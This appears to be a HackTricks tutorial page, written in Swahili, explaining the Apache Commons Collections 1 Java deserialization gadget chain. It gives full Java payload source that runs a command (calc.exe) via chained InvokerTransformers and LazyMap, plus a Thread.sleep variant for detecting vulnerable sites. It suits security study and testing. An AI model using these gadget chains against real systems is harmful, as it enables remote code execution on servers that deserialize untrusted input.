CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Java Transformers to Rutime exec()

Katika maeneo kadhaa unaweza kupata payload ya deserialization ya java inayotumia transformers kutoka kwa Apache common collections kama ifuatavyo:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Ikiwa hujui chochote kuhusu java deserialization payloads inaweza kuwa ngumu kuelewa kwa nini hii code itatekeleza calc.

Kwanza kabisa unahitaji kujua kwamba Transformer katika Java ni kitu ambacho kinapokea darasa na kikibadilisha kuwa darasa tofauti.
Pia ni muhimu kujua kwamba payload inayotekelezwa hapa ni sawa na:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

Au kwa usahihi zaidi, kile kitakachotekelezwa mwishoni ni:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Jinsi

Hivyo, jinsi payload ya kwanza inavyowasilishwa ni sawa na zile "rahisi" one-liners?

Kwanza kabisa, unaweza kuona katika payload kwamba mnyororo (array) wa mabadiliko umeundwa:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Ikiwa utasoma msimbo utaona kwamba ikiwa kwa namna fulani unachanganya mabadiliko ya array unaweza kuwa na uwezo wa kutekeleza amri zisizo na mipaka.

Hivyo, mabadiliko hayo yanachanganywa vipi?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Katika sehemu ya mwisho ya payload unaweza kuona kwamba kitu cha Ramani kinaundwa. Kisha, kazi decorate inatekelezwa kutoka LazyMap na kitu cha ramani na waongofu waliounganishwa. Kutoka kwa msimbo ufuatao unaweza kuona kwamba hii itasababisha waongofu waliounganishwa kunakiliwa ndani ya sifa ya lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Na kisha tamati kuu inatekelezwa: lazyMap.get("anything");

Hii ni msimbo wa kazi ya get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Na hii ndiyo nambari ya kazi ya transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Hivyo, kumbuka kwamba ndani ya factory tulikuwa tumehifadhi chainedTransformer na ndani ya transform kazi tunapitia mabadiliko yote yaliyofungamana na kutekeleza moja baada ya nyingine. Kitu cha kufurahisha ni kwamba kila mabadiliko yanatumia object kama ingizo na object ni matokeo kutoka kwa mabadiliko ya mwisho yaliyotekelezwa. Hivyo, mabadiliko yote yanatekelezwa kwa kufungamana yanatekeleza payload mbaya.

Muhtasari

Mwisho, kutokana na jinsi lazyMap inavyosimamia mabadiliko yaliyofungamana ndani ya njia ya kupata, ni kama tunatekeleza msimbo ufuatao:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Kumbuka jinsi value ni ingizo la kila mabadiliko na matokeo ya mabadiliko ya awali, kuruhusu utekelezaji wa mstari mmoja:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Kumbuka kwamba hapa ilielezwa vifaa vinavyotumika kwa ComonsCollections1 payload. Lakini imeachwa jinsi yote haya yanaanza kutekelezwa. Unaweza kuona hapa kwamba ysoserial, ili kutekeleza payload hii, inatumia kipande cha AnnotationInvocationHandler kwa sababu wakati kipande hiki kinapokewa, kitafanya kuitisha kazi ya payload.get() ambayo itatekeleza payload nzima.

Java Thread Sleep

Payload hii inaweza kuwa na manufaa kubaini kama wavuti ina udhaifu kwani itatekeleza usingizi ikiwa ina.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Vifaa Vingi Zaidi

Unaweza kupata vifaa vingi zaidi hapa: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks